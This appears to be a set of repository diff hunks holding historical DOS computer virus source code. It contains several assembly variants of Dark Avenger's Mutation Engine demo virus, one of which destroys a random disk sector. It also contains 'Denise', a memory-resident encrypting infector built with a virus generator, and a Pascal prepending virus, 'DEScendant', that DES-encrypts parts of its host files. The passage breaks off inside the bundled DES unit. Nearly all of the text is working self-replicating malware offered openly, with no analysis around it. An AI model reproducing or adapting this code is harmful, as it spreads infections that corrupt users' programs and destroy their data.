; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+196
View File
@@ -0,0 +1,196 @@
; This is a demo virus to demonstrate
; the Mutation Engine <tm> usage
; Version 1.01 (26-10-91)
; (C) 1991 Dark Avenger.
; De-Fanged for experimentation by Mark Ludwig 3/24/93
.model tiny
.radix 16
.code
extrn mut_engine: near, rnd_get: near, rnd_init: near
extrn rnd_buf: word, data_top: near
org 100
start:
call locadr
locadr:
pop dx
mov cl,4
shr dx,cl
sub dx,10
mov cx,ds
add cx,dx ;Calculate new CS
mov dx,offset begin
push cx dx
retf
begin:
cld
mov di,offset start
push es di
push cs
pop ds
push ax
mov dx,offset dta_buf ;Set DTA
mov ah,1a
int 21
xor ax,ax ;Initialize random seed
mov [rnd_buf],ax
call rnd_init
mov dx,offset srchnam
mov cl,3
mov ah,4e
find_lup:
int 21 ;Find the next COM file
jc infect_done
call isinf ;see if infected
jnz infect ;If not infected, infect it now
find_nxt:
mov dx,offset dta_buf
mov ah,4f
jmp find_lup
infect_done:
push cs
pop ds
push ss
pop es
mov di,offset start
mov si,offset oold_cod
movsb ;Restore first 3 bytes
movsw
push ss
pop ds
mov dx,80 ;Restore DTA
mov ah,1a
int 21
pop ax
retf
infect:
xor cx,cx ;Reset read-only attribute
mov dx,offset dta_buf+1e
mov ax,4301
int 21
jc infect_done
mov ax,3d02 ;Open the file
int 21
jc infect_done
xchg ax,bx
mov ax,WORD PTR [old_cod]
mov WORD PTR [oold_cod],ax
mov al,BYTE PTR [old_cod+2]
mov BYTE PTR [oold_cod+2],al
mov dx,offset old_cod ;Read first 3 bytes
mov cx,3
mov ah,3f
int 21
jc read_done
xor cx,cx ;Seek at EOF
xor dx,dx
mov ax,4202
int 21
test dx,dx ;Make sure the file is not too big
jnz read_done
cmp ax,-2000
jnc read_done
mov bp,ax
sub ax,3
mov word ptr [new_cod+1],ax
mov ax,cs
add ax,1000H
mov es,ax
mov dx,offset start
mov cx,offset _DATA
push bp bx
add bp,dx
xor si,si
xor di,di
mov bl,0f
mov ax,101
call mut_engine
pop bx ax
add ax,cx ;Make sure file length mod 256 = 0
neg ax
xor ah,ah
add cx,ax
mov ah,40 ;Put the virus into the file
int 21
push cs
pop ds
jc write_done
sub cx,ax
jnz write_done
xor dx,dx ;Put the JMP instruction
mov ax,4200
int 21
mov dx,offset new_cod
mov cx,3
mov ah,40
int 21
jmp write_done
read_done:
mov ah,3e ;Close the file
int 21
jmp infect_done
write_done:
mov ax,5700H ;get date & time on file
int 21H
push dx
mov ax,cx ;fix it
xor ax,dx
mov cx,0A
xor dx,dx
div cx
mul cx
add ax,3
pop dx
xor ax,dx
mov cx,ax
mov ax,5701H ;and save it
int 21H
jmp read_done
;determine if file is infected
isinf:
mov dx,offset dta_buf+1e
mov ax,3d02 ;Open the file
int 21
mov bx,ax
mov ax,5700H ;get file attribute
int 21H
mov ax,cx
xor ax,dx ;date xor time mod 10 = 3 for infected file
xor dx,dx
mov cx,0A
div cx
cmp dx,3
pushf
mov ah,3e ;Close the file
int 21
popf
ret
srchnam db '*.COM',0
old_cod: ;Buffer to read first 3 bytes
ret
dw 55AA
oold_cod: ;old old code
db 0,0,0
new_cod: ;Buffer to write first 3 bytes
jmp $+100
.data
dta_buf db 2bh dup(?) ;Buffer for DTA
end start

@@ -0,0 +1,205 @@
; This is a demo virus to demonstrate
; the Mutation Engine <tm> usage
; Version 1.01 (26-10-91)
; (C) 1991 Dark Avenger.
; De-Fanged for experimentation by Mark Ludwig 3/24/93
.model tiny
.radix 16
.code
extrn mut_engine: near, rnd_get: near, rnd_init: near
extrn rnd_buf: word, data_top: near
org 100
start:
call locadr
locadr:
pop dx
mov cl,4
shr dx,cl
sub dx,10
mov cx,ds
add cx,dx ;Calculate new CS
mov dx,offset begin
push cx dx
retf
begin:
cld
mov di,offset start
push es di
push cs
pop ds
push ax
mov dx,offset dta_buf ;Set DTA
mov ah,1a
int 21
xor ax,ax ;Initialize random seed
mov [rnd_buf],ax
call rnd_init
mov dx,offset srchnam
mov cl,3
mov ah,4e
find_lup:
int 21 ;Find the next COM file
jc infect_done
call isinf ;see if infected
jnz infect ;If not infected, infect it now
find_nxt:
mov dx,offset dta_buf
mov ah,4f
jmp find_lup
infect_done:
push cs
pop ds
push ss
pop es
mov di,offset start
mov si,offset oold_cod
movsb ;Restore first 3 bytes
movsw
push ss
pop ds
mov dx,80 ;Restore DTA
mov ah,1a
int 21
pop ax
retf
infect:
xor cx,cx ;Reset read-only attribute
mov dx,offset dta_buf+1e
mov ax,4301
int 21
jc infect_done
mov ax,3d02 ;Open the file
int 21
jc infect_done
xchg ax,bx
mov ax,WORD PTR [old_cod]
mov WORD PTR [oold_cod],ax
mov al,BYTE PTR [old_cod+2]
mov BYTE PTR [oold_cod+2],al
mov dx,offset old_cod ;Read first 3 bytes
mov cx,3
mov ah,3f
int 21
jc read_done
xor cx,cx ;Seek at EOF
xor dx,dx
mov ax,4202
int 21
test dx,dx ;Make sure the file is not too big
jnz read_done
cmp ax,-2000
jnc read_done
mov bp,ax
add bp,30
sub ax,3
mov word ptr [new_cod+1],ax
mov ax,cs
add ax,1000H
mov es,ax
mov dx,offset start
mov cx,offset _DATA
push bp bx
add bp,dx
xor si,si
xor di,di
mov bl,0f
mov ax,101
call mut_engine
add cx,30
sub dx,30
mov di,dx
push cx
mov cx,18 ;put mul cx in 18H times
mov ax,0E1F7
rep stosw
pop cx
pop bx ax
add ax,cx ;Make sure file length mod 256 = 0
neg ax
xor ah,ah
add cx,ax
mov ah,40 ;Put the virus into the file
int 21
push cs
pop ds
jc write_done
sub cx,ax
jnz write_done
xor dx,dx ;Put the JMP instruction
mov ax,4200
int 21
mov dx,offset new_cod
mov cx,3
mov ah,40
int 21
jmp write_done
read_done:
mov ah,3e ;Close the file
int 21
jmp infect_done
write_done:
mov ax,5700H ;get date & time on file
int 21H
push dx
mov ax,cx ;fix it
xor ax,dx
mov cx,0A
xor dx,dx
div cx
mul cx
add ax,3
pop dx
xor ax,dx
mov cx,ax
mov ax,5701H ;and save it
int 21H
jmp read_done
;determine if file is infected
isinf:
mov dx,offset dta_buf+1e
mov ax,3d02 ;Open the file
int 21
mov bx,ax
mov ax,5700H ;get file attribute
int 21H
mov ax,cx
xor ax,dx ;date xor time mod 10 = 3 for infected file
xor dx,dx
mov cx,0A
div cx
cmp dx,3
pushf
mov ah,3e ;Close the file
int 21
popf
ret
srchnam db '*.COM',0
old_cod: ;Buffer to read first 3 bytes
ret
dw 55AA
oold_cod: ;old old code
db 0,0,0
new_cod: ;Buffer to write first 3 bytes
jmp $+100
.data
dta_buf db 2bh dup(?) ;Buffer for DTA
end start

@@ -0,0 +1,214 @@
; This is a demo virus to demonstrate
; the Mutation Engine <tm> usage
; Version 1.01 (26-10-91)
; (C) 1991 Dark Avenger.
; De-Fanged for experimentation by Mark Ludwig 3/24/93
.model tiny
.radix 16
.code
extrn mut_engine: near, rnd_get: near, rnd_init: near
extrn rnd_buf: word, data_top: near
org 100
start:
call locadr
locadr:
pop dx
mov cl,4
shr dx,cl
sub dx,10
mov cx,ds
add cx,dx ;Calculate new CS
mov dx,offset begin
push cx dx
retf
begin:
cld
mov di,offset start
push es di
push cs
pop ds
push ax
mov dx,offset dta_buf ;Set DTA
mov ah,1a
int 21
xor ax,ax ;Initialize random seed
mov [rnd_buf],ax
call rnd_init
mov dx,offset srchnam
mov cl,3
mov ah,4e
find_lup:
int 21 ;Find the next COM file
jc infect_done
call isinf ;see if infected
jnz infect ;If not infected, infect it now
find_nxt:
mov dx,offset dta_buf
mov ah,4f
jmp find_lup
infect_done:
push cs
pop ds
push ss
pop es
mov di,offset start
mov si,offset oold_cod
movsw ;Restore first 12 bytes
movsw
movsw
movsw
movsw
movsw
push ss
pop ds
mov dx,80 ;Restore DTA
mov ah,1a
int 21
pop ax
retf
infect:
xor cx,cx ;Reset read-only attribute
mov dx,offset dta_buf+1e
mov ax,4301
int 21
jc infect_done
mov ax,3d02 ;Open the file
int 21
jc infect_done
xchg ax,bx
mov ax,WORD PTR [old_cod]
mov WORD PTR [oold_cod],ax
mov ax,WORD PTR [old_cod+2]
mov WORD PTR [oold_cod+2],ax
mov ax,WORD PTR [old_cod+4]
mov WORD PTR [oold_cod+4],ax
mov ax,WORD PTR [old_cod+6]
mov WORD PTR [oold_cod+6],ax
mov ax,WORD PTR [old_cod+8]
mov WORD PTR [oold_cod+8],ax
mov ax,WORD PTR [old_cod+0A]
mov WORD PTR [oold_cod+0A],ax
mov dx,offset old_cod ;Read first 12 bytes
mov cx,0C
mov ah,3f
int 21
jc read_done
xor cx,cx ;Seek at EOF
xor dx,dx
mov ax,4202
int 21
test dx,dx ;Make sure the file is not too big
jnz read_done
cmp ax,-2000
jnc read_done
mov bp,ax
sub ax,7
mov word ptr [new_cod+5],ax
mov ax,cs
add ax,1000H
mov es,ax
mov dx,offset start
mov cx,offset _DATA
push bp bx
add bp,dx
xor si,si
xor di,di
mov bl,0f
mov ax,101
call mut_engine
mov di,dx
pop bx ax
add ax,cx ;Make sure file length mod 256 = 0
neg ax
xor ah,ah
add cx,ax
mov ah,40 ;Put the virus into the file
int 21
push cs
pop ds
jc write_done
sub cx,ax
jnz write_done
xor dx,dx ;Put the JMP instruction
mov ax,4200
int 21
mov dx,offset new_cod
mov cx,0C
mov ah,40
int 21
jmp write_done
read_done:
mov ah,3e ;close the file
int 21
jmp infect_done
write_done:
mov ax,5700H ;get date & time on file
int 21H
push dx
mov ax,cx ;fix it
xor ax,dx
mov cx,0A
xor dx,dx
div cx
mul cx
add ax,3
pop dx
xor ax,dx
mov cx,ax
mov ax,5701H ;and save it
int 21H
jmp read_done
;determine if file is infected
isinf:
mov dx,offset dta_buf+1e
mov ax,3d02 ;Open the file
int 21
mov bx,ax
mov ax,5700H ;get file attribute
int 21H
mov ax,cx
xor ax,dx ;date xor time mod 10 = 3 for infected file
xor dx,dx
mov cx,0A
div cx
cmp dx,3
pushf
mov ah,3e ;Close the file
int 21
popf
ret
srchnam db '*.COM',0
old_cod: ;Buffer to read first 11 bytes
ret
db 0
dw 0,0,0,0,0
oold_cod: ;old old code
db 0,0,0,0,0,0,0,0,0,0,0,0
new_cod: ;Buffer to write first 11 bytes
call nc2
nc1: pop ax
jmp $+200
nc2: pop ax
call nc1
nop
.data
dta_buf db 2bh dup(?) ;Buffer for DTA
end start

@@ -0,0 +1,176 @@
; This is a demo virus to demonstrate
; the Mutation Engine <tm> usage
; Version 1.01 (1-3-92)
; (C) 1992 Dark Avenger.
.model tiny
.radix 16
.code
extrn mut_engine: near, rnd_get: near, rnd_init: near
extrn rnd_buf: word, data_top: near
org 100
start:
call locadr
reladr:
db 'Just a simple demo...'
locadr:
pop dx
mov cl,4
shr dx,cl
mov cx,ds
add cx,dx ;Calculate new CS
mov dx,offset begin
push cx dx
retf
begin:
cld
mov di,offset start
push es di
push cs
pop ds
mov si,offset old_cod
movsb ;Restore first 3 bytes
push ax
mov dx,offset dta_buf ;Set DTA
mov ah,1a
int 21
mov ax,3524 ;Hook INT 24
int 21
push es bx
mov dx,offset fail_err
mov ax,2524
int 21
xor ax,ax ;Initialize random seed
call rnd_init
push sp
pop cx
sub cx,sp
add cx,4
push cx
mov dx,offset srchnam
mov cl,3
mov ah,4e
find_lup:
int 21 ;Find the next COM file
jc infect_done
cmp [dta_buf+1a],ch
jnz infect ;If not infected, infect it now
find_nxt:
push cx
mov dx,offset dta_buf
mov ah,4f
jmp find_lup
infect_done:
pop cx
loop find_nxt
jnc damage_done
test al,1
jz damage_done
xchg ax,dx ;Trash a random sector on the default
mov ah,39 ; drive
int 21
mov cx,1
mov bx,offset start
int 26
popf
damage_done:
pop dx ds
mov ax,2524 ;Restore INT 24
int 21
pop ds
mov dx,80 ;Restore DTA
mov ah,1a
int 21
push ds ;Exit to program
pop es
pop ax
retf
infect:
xor cx,cx ;Reset read-only attribute
mov ax,4301
int 21
jc infect_done
mov ax,3d02 ;Open the file
int 21
jc infect_done
xchg ax,bx
mov dx,offset old_cod ;Read first 3 bytes
mov cx,3
mov ah,3f
int 21
jc read_done
mov ax,word ptr [old_cod] ;Make sure it's not an EXE file
cmp ax,'ZM'
jz read_done
cmp ax,'MZ'
jz read_done
xor cx,cx ;Seek at EOF
mov ax,4202
int 21
test dx,dx ;Make sure the file is not too big
jnz read_done
cmp ax,-2000
jnc read_done
mov bp,ax
sub ax,3
mov word ptr [new_cod+1],ax
mov ax,5700 ;Save file's date/time
int 21
push dx cx
mov ax,offset data_top+0f
mov cl,4 ;Now call the Engine
shr ax,cl
mov es,ax
mov dx,offset start
mov cx,offset _DATA
push bp bx
add bp,dx
xor si,si
mov ax,101
call mut_engine
pop bx ax
add ax,cx ;Make sure file length mod 256 = 0
neg ax
xor ah,ah
add cx,ax
push cs
pop ds
jc write_done
sub cx,ax
jnz write_done
mov dx,offset new_cod
mov cx,3
mov ah,40
int 21
write_done:
pop cx dx ;Restore file's date/time
mov ax,5701
int 21
read_done:
mov ah,3e ;Close the file
int 21
jmp infect_done
fail_err: ;Critical errors handler
mov al,3
iret
srchnam db '*.COM',0
old_cod: ;Buffer to read first 3 bytes
ret
dw ?
new_cod: ;Buffer to write first 3 bytes
jmp $+100
.data
dta_buf db 2bh dup(?) ;Buffer for DTA
end start
@@ -0,0 +1,349 @@
; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
; File: DENISE.ASM
; Denise by Ender
checkres1 = 'DA'
checkres2 = 'PS'
id = 'FB'
.model tiny
.code
; Assemble with:
; TASM /m3 filename.ASM
; TLINK filename.OBJ
; EXE2BIN filename.EXE filename.COM
org 0000h
start:
ENCRYPT:
patchstart:
mov bx, offset endencrypt
mov cx, (heap-endencrypt)/2+1
encrypt_loop:
db 002Eh ; cs:
db 0081h ; add word ptr [bx], xxxx
xorpatch db 0007h
encryptvalue dw 0000h
add bx, 0002h
loop encrypt_loop
endencrypt:
mov bp, sp
int 0003h
next:
mov bp, ss:[bp-6]
sub bp, offset next
push es
push ds
mov ax, checkres1 ; Installation check
int 0021h
cmp ax, checkres2 ; Already installed?
jz done_install
mov ax, ds
dec ax
mov ds, ax
sub word ptr ds:[0003h], ((endheap-start+1023)/1024)*64
sub word ptr ds:[0012h], ((endheap-start+1023)/1024)*64
mov es, word ptr ds:[0012h]
push cs
pop ds
xor di, di
mov cx, (heap-start)/2+1 ; Bytes to move
mov si, bp ; lea si,[bp+offset start]
rep movsw
xor ax, ax
mov ds, ax
sub word ptr ds:[0413h], (endheap-start+1023)/1024
push ds
lds ax, ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory
done_install:
pop es
pop ds
cmp sp, id
jne restore_COM
restore_EXE:
mov ax, ds
add ax, 0010h
add cs:[bp+word ptr origCSIP+2], ax
add ax, cs:[bp+word ptr origSPSS]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS+2]
sti
db 00EAh
origCSIP db ?
old3 db 0cdh,20h,0
origSPSS dd ?
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb
movsw
ret
INT24:
mov al, 0003h
iret
int21:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp ax, 4B00h ; execute?
jz execute
return:
jmp exitint21
execute:
mov word ptr cs:filename, dx
mov word ptr cs:filename+2, ds
mov ax, 3524h
int 0021h
push es
push bx
mov ax, 2524h
lea dx, INT24 ; ASSumes ds=cs
int 0021h
push cs
pop es
mov bx, dx
cmp word ptr [bx+3], 'AM' ; Check if COMMAND.COM
jz return ; Exit if so
mov ax, 4300h
lds dx, cs:filename
int 0021h
jc return
push cx
push ds
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
lds dx, cs:filename
mov ax, 3D02h
int 0021h
xchg ax, bx
push cs
pop ds
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov ah, 003Fh
mov dx, offset readbuffer
mov cx, 001Ah
int 0021h
mov ax, 4202h
xor cx, cx
cwd
int 0021h
cmp word ptr [offset readbuffer], 'ZM'
jz checkEXE
mov cx, word ptr [offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jz jmp_close
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
cmp ax, (heap-start) ; check if too small
jb jmp_close ; Exit if so
mov si, offset readbuffer
mov di, offset old3
movsw
movsb
mov si, ax ; save entry point
add si, 0100h
mov cx, 0003h
sub ax, cx
mov word ptr [offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [offset readbuffer], dl
jmp short continue_infect
checkEXE:
cmp word ptr [offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
skipp:
lea si, readbuffer+14h
lea di, origCSIP
movsw ; Save original CS and IP
movsw
sub si, 000Ah
movsw ; Save original SS and SP
movsw
push bx ; save file handle
mov bx, word ptr [readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl
push dx ; Save file size on the
push ax ; stack
sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX
mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX
mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [readbuffer+10h], id ; Initial SP
mov word ptr [readbuffer+16h], ax ; Para disp CS in module.
mov word ptr [readbuffer+14h], dx ; IP Offset
mov si, dx ; save entry point
pop ax ; Filelength in DX:AX
pop dx
add ax, heap-start
adc dx, 0000h
mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h
mov word ptr [readbuffer+4], dx ; Fix-up the file size in
mov word ptr [readbuffer+2], ax ; the EXE header.
pop bx ; restore file handle
mov cx, 001Ah
continue_infect:
push cx ; save # bytes to write
get_encrypt_value:
mov ah, 002Ch ; Get current time
int 0021h
or dx, dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
add si, (offset endencrypt-offset encrypt)
mov word ptr ds:[patchstart+1], si
mov word ptr ds:[encryptvalue], dx
mov cx, (heap-encrypt)/2
mov si, offset ENCRYPT
mov di, offset encryptbuffer
push si
rep movsw ; copy virus to buffer
mov ax, offset endencrypt-encrypt+encryptbuffer
mov word ptr ds:[patchstart+1], ax
pop si
push offset endencrypt
mov byte ptr [offset endencrypt], 00C3h ; retn
xor byte ptr [offset xorpatch-encrypt+encryptbuffer], 0028h
push bx
call si ; encrypt virus in buffer
pop bx
pop word ptr [offset endencrypt]
xor byte ptr [offset xorpatch], 0028h
mov ah, 0040h
mov cx, heap-encrypt
mov dx, offset encryptbuffer
int 0021h
xor cx, cx
mov ax, 4200h
cwd
int 0021h
pop cx
mov ah, 0040h
mov dx, offset readbuffer
int 0021h
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop ds
pop cx ; attributes from stack
int 0021h
pop dx
pop ds
mov ax, 2524h
int 0021h
exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 00EAh ; return to original handler
oldint21 dd ?
signature db '[PS/Gý]',0 ; Phalcon/Skism Gý
creator db 'Ender',0
virusname db 'Denise',0
heap:
encryptbuffer db (heap-encrypt)+1 dup (?)
filename dd ?
readbuffer db 1ah dup (?)
endheap:
end start
File diff suppressed because it is too large Load Diff
+521
View File
@@ -0,0 +1,521 @@
{
같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같
겠컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 Description: 컴컴컴컴컴컴컴컴컴컴컴컴컴컴커
개 낡
개 - DEScendant - 낡
개 낡
개 A prepending virus written in borland turbo pascal 7.0, it encrypts 낡
개 variable blocks of the host file using DES, also storing the key on 낡
개 variable offsets, this should make it very hard for AV scanner to clean 낡
개 this virus. It doesn't infect any "new exe" files. 낡
개 If an infected program is called with the command line parameters 낡
개 "Too Many Secrets" the virus would put a file called "terces.pot" which 낡
개 stores a with DES encrypted copyright message in the current directory. 낡
개 The virus infects only 2 files per run, after no more files are found 낡
개 in the current directory it changes the directory through the PATH 낡
개 variable. 낡
개 낡
개 Credits go to the guy who wrote the DES unit :) i don't know his name. 낡
걋컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸
같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같
-- The DESUNIT.PAS is at the bottom --
}
{$M $4000,0,0 }
{$I-}
program _DEScendant_Of_Devil_;
uses crt, dos,windos,desunit;
const
virussize=11712;
var
dirinfo:tSearchRec;
filename:string;
buffer:array[1..virussize] of char;
numread,numwritten:word;
counter:byte;
attr:word;
copywrong:string;
fcrypt: file;
i:word;
ende:boolean;
path:array[1..50] of string[64];
path_item, current_dir:word;
self:boolean;
originaldir,fullname,name:array[0..80] of char;
function findfirstfile:string;
begin
findfirst('*.exe',faArchive,dirinfo);
if doserror = 0 then
findfirstfile:=dirinfo.name
else
findfirstfile:='';
end;
function findnextfile:string;
begin
findnext(dirinfo);
if doserror = 0 then
findnextfile:=dirinfo.name
else
findnextfile:='';
end;
function infected(filename:string):boolean;
var
fyou:file;
begin
assign(fyou,filename);
reset(fyou,1);
blockread(fyou,buffer,25,numread);
close(fyou);
if numread>=25 then
begin
if (buffer[19]='i') or (buffer[25]>=#64) then
infected:=true
else
infected:=false;
end
else
infected:=true;
end;
procedure crypt(var buffer:array of char; what:boolean);
var
key,bufferin,bufferout:array[1..8] of char;
i,key_begin,cipher_begin:word;
begin
case buffer[1] of
#0..#63: begin
key_begin:=10;
cipher_begin:=1998;
end;
#64..#127: begin
key_begin:=4;
cipher_begin:=21;
end;
#128..#191: begin
key_begin:=1982;
cipher_begin:=4;
end;
#192..#255: begin
key_begin:=7;
cipher_begin:=777;
end;
end;
for i:=1 to 8 do
key[i]:=buffer[i+key_begin];
for i:=1 to 8 do
bufferin[i]:=buffer[i+cipher_begin];
des(bufferin[1],bufferout[1],key[1],what);
for i:=1 to 8 do
buffer[i+cipher_begin]:=bufferout[i];
end;
procedure infect(filename:string);
var
fyou,fwe,ftemp:file;
bytes_read:longint;
begin
assign(fwe,fullname);
if self=false then
begin
setfattr(fwe,faarchive);
reset(fwe,1);
seek(fwe,18);
buffer[1]:='i';
blockwrite(fwe,buffer,1);
self:=true;
end;
if infected(filename) = false then
begin
assign(fyou,filename);
setfattr(fyou,faarchive);
assign(ftemp,'uhczzeku.tmp');
setfattr(ftemp,faarchive);
reset(fyou,1);
reset(fwe,1);
rewrite(ftemp,1);
blockread(fwe,buffer,virussize,numread);
blockwrite(ftemp,buffer,numread,numwritten);
repeat
blockread(fyou,buffer,2048,numread);
if numread=2048 then
crypt(buffer, true);
blockwrite(ftemp,buffer,numread,numwritten);
until (numread = 0) or (numwritten <> numread);
rewrite(fyou,1);
reset(ftemp,1);
repeat
blockread(ftemp,buffer,2048,numread);
blockwrite(fyou,buffer,numread,numwritten);
until (numread = 0) or (numwritten <> numread);
close(fyou);
close(ftemp);
erase(ftemp);
inc(counter);
end;
close(fwe);
end;
procedure execute_us;
var
i:byte;
fwe,ftemp:file;
parameter:string;
begin
randomize;
filename:='';
for i:=1 to 8 do
filename:=filename+chr(random(26)+ord('a'));
filename:=filename+'.exe';
assign(fwe,fullname);
assign(ftemp,filename);
setfattr(ftemp,faarchive);
reset(fwe,1);
rewrite(ftemp,1);
seek(fwe,virussize);
repeat
blockread(fwe,buffer,2048,numread);
if numread=2048 then
crypt(buffer,false);
blockwrite(ftemp,buffer,numread,numwritten);
until (numread=0) or (numwritten<>numread);
close(fwe);
close(ftemp);
parameter:='';
if paramcount>0 then
for i:=1 to paramcount do
parameter:=parameter+' '+paramstr(i);
swapvectors;
exec(filename,parameter);
swapvectors;
setfattr(ftemp,faarchive);
erase(ftemp);
end;
procedure changedirectory;
begin
if path[current_dir+1]<>'' then
begin
inc(current_dir);
chdir(path[current_dir]);
end
else
ende:=true;
end;
procedure initpath;
var
i,j:word;
dummy:string;
begin
dummy:=getenv('path');
j:=1;
for i:=1 to length(dummy) do
begin
if dummy[i]=';' then
begin
inc(j);
path[j]:='';
end
else
path[j]:=path[j]+dummy[i];
end;
end;
begin
if (paramcount=3) and (paramstr(1)='Too') and (paramstr(2)='Many') and
(paramstr(3)='Secrets') then
begin
copywrong:=#78+#32+#185+#52+#203+#38+#250+#148+
#229+#141+#155+#90+#22+#74+#218+#121+
#172+#246+#185+#190+#175+#80+#2+#79+
#121+#214+#132+#247+#26+#196+#192+#114;
assign(fcrypt,'terces.pot');
rewrite(fcrypt,1);
blockwrite(fcrypt,copywrong[1],32,numwritten);
close(fcrypt);
clrscr;
textmode(co80);
textcolor(7);
gotoxy(33,1); writeln('QRFpraqnag Bs Qrivy,');
gotoxy(25,5); writeln('jevggra ol FCb5xl va 6443 sbe PO');
textcolor(7+blink);
gotoxy(25,12); writeln('*** EXPORT RESTRICTIONS APPLY ***');
textcolor(7);
gotoxy(28,20); writeln('uggc://jjj.pbqroernxref.bet');
halt(0);
end;
getcurdir(originaldir,0);
filename:=paramstr(0);
for i:=0 to length(filename)-1 do
name[i]:=filename[i+1];
name[i+1]:=#0;
fileexpand(fullname,name);
self:=false;
counter:=0;
ende:=false;
path_item:=0;
current_dir:=0;
initpath;
filename:=findfirstfile;
while ende=false do
begin
if counter<2 then
begin
if (filename='') and (ende=false) then
changedirectory;
if ende=false then
begin
if filename='' then
filename:=findfirstfile;
infect(filename);
filename:=findnextfile;
end;
end
else
ende:=true;
end;
setcurdir(originaldir);
execute_us;
end.
---------------------------------DESUNIT.PAS---------------------------------
unit Desunit;
interface
Procedure DES (Var Input; Var Output; Var Key; Encrypt : Boolean);
implementation
Procedure DES (Var Input; Var Output; Var Key; Encrypt : Boolean);
Const
IP : Array [1..64] Of Byte = (58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,
64,56,48,40,32,24,16,8,
57,49,41,33,25,17, 9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7);
InvIP : Array [1..64] Of Byte = (40, 8,48,16,56,24,64,32,
39, 7,47,15,55,23,63,31,
38, 6,46,14,54,22,62,30,
37, 5,45,13,53,21,61,29,
36, 4,44,12,52,20,60,28,
35, 3,43,11,51,19,59,27,
34, 2,42,10,50,18,58,26,
33, 1,41, 9,49,17,57,25);
E : Array [1..48] Of Byte = (32, 1, 2, 3, 4, 5,
4, 5, 6, 7, 8, 9,
8, 9,10,11,12,13,
12,13,14,15,16,17,
16,17,18,19,20,21,
20,21,22,23,24,25,
24,25,26,27,28,29,
28,29,30,31,32, 1);
P : Array [1..32] Of Byte = (16, 7,20,21,
29,12,28,17,
1,15,23,26,
5,18,31,10,
2, 8,24,14,
32,27, 3, 9,
19,13,30, 6,
22,11, 4,25);
SBoxes : Array [1..8,0..3,0..15] Of Byte =
(((14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7),
( 0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8),
( 4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0),
(15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13)),
((15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10),
( 3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5),
( 0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15),
(13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9)),
((10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8),
(13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1),
(13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7),
( 1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12)),
(( 7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15),
(13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9),
(10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4),
( 3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14)),
(( 2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9),
(14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6),
( 4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14),
(11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3)),
((12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11),
(10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8),
( 9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6),
( 4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13)),
